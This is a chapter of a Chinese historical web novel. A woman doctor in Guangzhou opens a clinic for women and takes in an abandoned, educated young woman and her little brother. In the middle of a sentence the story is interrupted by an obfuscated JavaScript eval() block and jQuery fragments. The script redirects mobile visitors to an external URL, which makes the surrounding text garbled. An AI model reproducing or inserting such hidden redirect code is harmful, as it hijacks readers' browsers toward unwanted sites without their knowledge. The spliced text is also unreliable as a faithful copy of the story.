三天后，陈折被再次请入知府府邸。这一次不是侧门，是正门。下人在门口等候，引她穿过前厅，绕过影壁，进了一间敞亮的主厅。厅内摆着一张红木圆桌，桌上菜不多，但每一样都摆得齐整。老妇人坐在主位上，换了一件深褐色的家常衣服，头发梳得一丝不苟，腰背挺直，整个人像一棵被重新扶正的树，根已经扎回去了。
一个穿着深色常服的中年男人坐在侧位，约莫四十岁上下，鬓角一点银灰，目光沉稳。一个略年轻的夫人陪在旁边，三十多岁，穿藕荷色衣裙，嘴角带着一点不太确定的弧度，像在等一个她还不熟悉的谈话节奏。
陈折被引到客位落座。中年男人端起面前的酒杯，站起来，向她举了一下：“陈大夫，家母的病，多年无人能解。你来了三天，她已能安坐。这一杯，我敬你。”
陈折也端起了杯，没有一饮而尽，只是举了一下，抿了一口，然后放下。中年男人没有等陈折开口，自己把话接过去，说了一句“公务繁忙，失陪”，然后放下空杯，朝老妇人和年轻夫人微微颔首，转身出了厅门。脚步声沿着廊道逐渐远去，最后被庭院深处的一声鸟鸣吞没。
厅里安静了片刻。老妇人放下筷子，看了一眼陈折，又看了一眼身旁的年轻夫人，说：“我听说你这几天在街上打听哪里可以租铺子。”
“是。”陈折说，“想找一间离街近的小铺面。”
老妇人端起茶杯，喝了一口，放回桌上，动作不急不慢，像在谈一件她已经决定好了的事：“不用租。光孝寺旁边有一间铺子，两层，门面不算大，但临街。以前是绸缎庄，关了两年了，一直空着。你拿去用。不算租，也不算卖，就是给你用的。”
年轻夫人接口说：“婆婆前天就让人把屋里清出来了，打扫过了。墙面重新刷了一遍白灰，后院的一间柴房也收拾出来了，光线不错，可以晾晒药材。”她的声音不高，但语速均匀，像是已经演练过一遍。
陈折没有推辞，端起茶杯喝了一口：“那我明天过去看看。”
年轻夫人放下茶碗，陪陈折走出厅门，沿着廊道穿过庭院。走到侧门时，她停了一下，像在斟酌一句话的力道，然后说：“我家老爷让我转告您，若他日您有需要衙门出面的事，只管开口。您给老夫人治病的事，我们记着。”
陈折站在侧门台阶上，秋风吹过来，带着巷口炒货摊飘来的焦香味，和这座宅邸里早就熄灭的桂花香已经沾不上边了。她回头看了一眼那位年轻夫人，站在门廊的阴影里，身姿端正，像一株被养得很好、但根系从未离开过花盆的盆栽。
“好。”陈折说。她走下台阶，牛车还停在巷口。詹姆斯坐在车辕上，手里握着一根草茎，正在看一个孩子追着一只滚动的橘子跑过巷口。阿娜蹲在车尾，手里捏着一片掉落的梧桐叶，翻转过来看它的脉络。她侧过头看了一眼陈折：“铺子找到了？”
“找到了。明天去看。”陈折说。
半个月后，广州城的光孝寺旁多了一间小医馆。门面不大，只挂了一块没有字的木牌，但门口每天都有女人进出。坐诊不收钱，药按成本收。消息在街巷间传得很慢，但范围在稳定扩大。最初是知府家丫鬟的亲戚，然后是邻居，然后是住在更远街巷的、听别人说"那个女大夫不看男病，只给女人看病"的人。
这半个月里，詹姆斯开始承担起照料阿娜和露露的大部分责任。白天陈折在医馆看诊，詹姆斯便留在后院。他带阿娜去市集，教她辨认不同的药材和商贩的出价语气，告诉她哪些摊位要绕开、哪些可以多看一眼。露露跟在他们身后，跳上矮墙和屋檐，走一段就停下来回头等他们，然后再往前走。
有一天下午，詹姆斯坐在后院门槛上钉一只木箱。露露从屋檐上跳下来，落在门槛边缘，蹲坐在他旁边，尾巴绕到身前，两前爪搭在尾巴上，安静地看着他的手，像在看一件她正在试图理解其结构的东西。詹姆斯没有驱赶它，继续手上的活。露露一直蹲在那里，看了很久。
阿娜蹲在不远处，用树枝在沙地上写了一行诗：“空山新雨后，天气晚来秋。”那是她在詹姆斯给她买的《神童诗》里新学会的。她写完，抬头看了看院墙上被晚霞染成橙黄色的瓦片，对詹姆斯说：“你弄那个箱子干什么？”
"陈折早上说做两个可以种番茄和辣椒的木箱。"詹姆斯说。他把最后一块木板钉进箱壁，用手指沿着接缝摸了一遍，确认没有毛刺，然后翻转过来，检查底部的透气孔有没有堵住。
然后前面传来声音。不是叫卖声，不是争执声，是一种被拖拽时鞋底擦过石板的摩擦声，夹杂着断断续续的咳嗽，像一只破风箱被人从街上拖过来。巷口两个牙婆正拽着一名年轻女子的胳膊，把她往医馆门前的墙根一搡。那女人站不住了，身子顺着墙根滑下去，半跪半坐地靠在墙角，头垂着，头发散下来遮住了大半张脸。衣衫薄旧，袖口磨得发白，但裁片和领口的轮廓还看得出原本的样式，不是粗使人的衣裳。她的手指垂在膝盖边，指节修长，指甲修剪得整齐，掌心和指腹有一层薄薄的茧，那不是锄头和柴刀的茧，是常年握笔、拨算盘、翻账册留下的痕迹。
牙婆站在两步外，粗声唾骂："识点字就端架子！不肯服侍主君、不肯做妾，留着赔钱货作甚？病成这副鬼样，卖不出去、养不活，丢在这里自生自灭！"另一个牙婆嫌恶地掸了掸袖口，像在甩掉什么不干净的东西，然后两个人转身便走，一眼也懒得再看，脚步声沿着巷口渐行渐远。
墙根下那个年轻女人没有抬头。她靠在青砖墙上，呼吸急促而浅，偶尔咳几声，声音是那种被拖了很久的、已经没什么力气的闷咳，像是连咳嗽的力气都快用完了。她整个人缩在那里，像一只被随手丢在路边的物件。
阿娜站在医馆门口，手里还捏着那根树枝，看着墙根下那个女人，没有后退，也没有上前。露露从门槛上跳下来，走到墙根边，蹲在那女人三步远的地方，安静地坐着，没有靠近，也没有离开。
詹姆斯放下手里的木箱，站起来，走进医馆后院。片刻后陈折从里面出来，手里端着一只干净的水碗，蹲在那个年轻女人面前，把碗沿递到她嘴边："喝点水。"
那女人的睫毛动了一下，眼睛睁开一线，像一扇被从内部缓缓推开一条缝的门，光线还没有完全透进去，但缝隙已经存在了。她看着那只递到面前的水碗，用嘴唇试探性地碰了一下碗沿，然后喉咙动了一下，吞咽，又吞咽了一口。她喝得很慢。
陈折等她喝了几口之后，把碗放下，伸手探了一下她的额头，然后握住她的手腕，在脉搏上搭了片刻。她的手指摸到的皮肤很薄，触感是漫长的饥饿和反复发烧后留下的那种虚浮的热，像一团炭火被盖了过多的灰，烧得慢，但一直没熄。陈折放下她的手说：“先进屋。”
苏慎微病愈之后，陈折没有急着问她去留。只是让她在医馆养身，帮着打理药材、登记病患名录。那些活计不重，但需要耐心和细致。苏慎微做得很好。病患名册整理得条理分明，药材出入、收支银两笔笔清晰，看人识事通透稳妥，分寸得体、进退有度。她甚至不需要陈折交代第二遍，头天说过的分类方法，第二天就能自己排出一套顺序，让前厅和后院的衔接少了半个人力的空隙。
陈折花了两天时间观察她的工作，从她整理药材的时间、接待病人的应答节奏，到她处理账目时的落笔方式，然后在第三天的晚饭后，坐在后院门槛上，把这件事摊平了说："你之前在哪家的账房做过？"
苏慎微正在把晒干的薄荷叶收进一只陶罐里。她没有停下手里的活："不是账房。我父亲是南唐的户曹文书，管田赋和库房的。我自小跟着他学识字、学记账、学盘库。"
陈折没有追问南唐的事。那已经是一个不存在的国号了，被宋吞并了二十年，旧朝的痕迹在官府的案卷里早已被划掉，但在一些人身上，那些痕迹还活着。
苏慎微把薄荷叶的封口扎紧，放下手里的线绳，声音不高不低，像是早就准备好了这些话，只等一个合适的时机说出来："我父亲被抄了家，男丁流放，没到一年就死在路上了。只剩下我和我弟弟。我带着他流落到这里，被人买去给绸缎庄做账房。说是账房，其实是等着我松口，好收我作妾。"
她说到"妾"这个字时，语速没有任何变化。"我没有松口。他们停了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786800|210200||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
饭，锁了门。后来我病倒了，他们嫌晦气，就把我丢出去了。"
她低头看着自己放在膝盖上的手，那些被磨得发亮的指尖在月光下泛着一点边缘，像一张正在被慢慢揉皱的纸，试图在某个不经意的角度找到自己原来的折痕。"我无处可去。弟弟还小，我若死了，他活不下去。"
陈折坐在门槛上，没有问她弟弟现在在哪。苏慎微自己说了："在城外一个替人放牛的老妇人家寄养。我给那老妇人做工，换他一口饭。"
夜风从墙头吹过来，把院子里晾晒的药草吹得沙沙响。陈折沉默了一会儿：“你愿意留下来吗？”
苏慎微抬起头，看了一眼陈折，像在确认这句话里没有藏着什么条件：“……做什么？”
"打理医馆的账目和药材，和我学如何给人看病，不止这些。"陈折说，“你弟弟也可以接来，后院还有空房。”
苏慎微没有说话。她低下头，把手里最后一片薄荷叶放进陶罐，用木盖压紧，然后放在脚边，动作平静，像在做一件她已经决定好的事。然后她站起来，向陈折行了一礼：“我愿留下。”
她站在后院的光线里，月光照在她肩上，把她的身形在地面上拉出一道细长的影子。
第二天清晨，苏慎微已经坐在前厅的柜台后面，把半个月来所有的药材进出账目重新整理了一遍。她弟弟蹲在后院，看露露在墙头爬上爬下。小男孩五六岁，瘦得像一根被风吹过很多遍的细竹竿，但眼睛很亮，目光始终跟着墙头那只灵活的、尾巴垂直扫过瓦片的猴子。他叫苏怀安，是苏慎微给他起的名字，希望他一生平安。他蹲在后院看露露在墙头爬上爬下，看得入神，没有注意到苏慎微走过，然后在他旁边蹲下来，顺着他看的方向看了一会儿，说：“喜欢那只猴子？”
苏怀安转过脸来，眼睛闪着光：“它可以爬那么高。”他指着墙头的瓦片，露露正好跳到更高的屋檐上，尾巴在半空中画了一个弧度。“它能上房顶，我不会。”
苏慎微没有打断他：“以后可以跟它一起玩。”
苏怀安端起粥碗，吹了吹热气，喝了一大口：“姐，它是公的还是母的？”
“母的。”
“那它会不会生小猴子？”
“……还不知道。”
苏怀安咬了一口米糕，目光跟着露露从屋檐跳到墙头，又跳回院子里的桂花树杈上：“我也想要一只小猴子。”
“你要先学会自己照顾自己，自己写自己的名字。”
苏怀安立刻站起来：“我会了！”
“那不是只有一个“苏”字么？”
“……那算写了半截。”
他重新蹲下不再提小猴子的事了。但目光还是时不时往桂花树那边瞟。
下午，苏怀安蹲在医馆门槛上，看阿娜在地上写毛笔字。阿娜捏着一截细竹管削的简易笔，蘸了清水在青砖上写了一个字，横平竖直，是詹姆斯教她的，她自己又练了好几遍。苏怀安看了一会儿，从身后摸出一截树枝，在旁边比划，先画了一个歪歪扭扭的圈，又在那圈旁边画了一条竖线，像一棵被风吹歪的树，根系还没有完全抓住泥土，但已经开始试着往上长。阿娜转头看了他一眼：“你在画什么？”
“树。”
“不像。”
“我还没画完。”
苏怀安低着头，继续用树枝在青砖上描那棵树，把歪斜的树干加粗了一圈，又添了几根枝杈，像在给它补上它自己没有长出来的部分。
那天傍晚，苏怀安坐在后院门槛上，露露从屋檐上跳下来，蹲在他脚边。他犹豫了一下，伸出手，碰了一下露露的尾巴尖。露露没有躲，只是用尾巴扫了一下他的手指。那一下轻得像风穿过一道窄缝，但苏怀安没有收回手。
詹姆斯从后院走过，手里端着两只刚做好的木箱，一只种番茄，一只种辣椒。他看到苏怀安和露露蹲在一起，没有说话，只是把木箱放在墙角，然后转身走回后院。他的光学传感器捕捉到了那个画面，一个瘦小的男孩蹲在门槛上，用树枝在青砖上画一棵歪歪扭扭的树，一只猴子蹲在他脚边，尾巴垂下来，在暮色的光线里慢慢摆动。